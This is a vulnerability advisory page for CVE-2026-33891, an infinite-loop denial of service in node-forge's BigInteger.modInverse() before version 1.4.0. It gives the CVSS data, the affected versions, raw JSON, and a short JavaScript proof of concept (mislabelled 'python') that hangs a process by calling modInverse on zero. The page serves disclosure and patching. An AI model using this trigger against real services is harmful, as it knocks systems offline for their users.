Security Vulnerability Report
中文
CVE-2026-33891 CVSS 7.5 HIGH

CVE-2026-33891

Published: 2026-03-27 21:17:26
Last Modified: 2026-04-08 13:50:29

Description

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:* - VULNERABLE
node-forge < 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const forge = require('node-forge'); // Create a BigInteger with value 0 to trigger the vulnerability var zero = new forge.jsbn.BigInteger('0'); var n = new forge.jsbn.BigInteger('123'); try { // Call modInverse with zero, causing an infinite loop and CPU exhaustion var result = zero.modInverse(n); console.log(result); } catch (e) { console.log(e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33891", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:25.817", "lastModified": "2026-04-08T13:50:28.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.3.3", "matchCriteriaId": "46CBC667-ED99-4B5B-89C8-428CF52FD3FB"}]}]}], "references": [{"url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}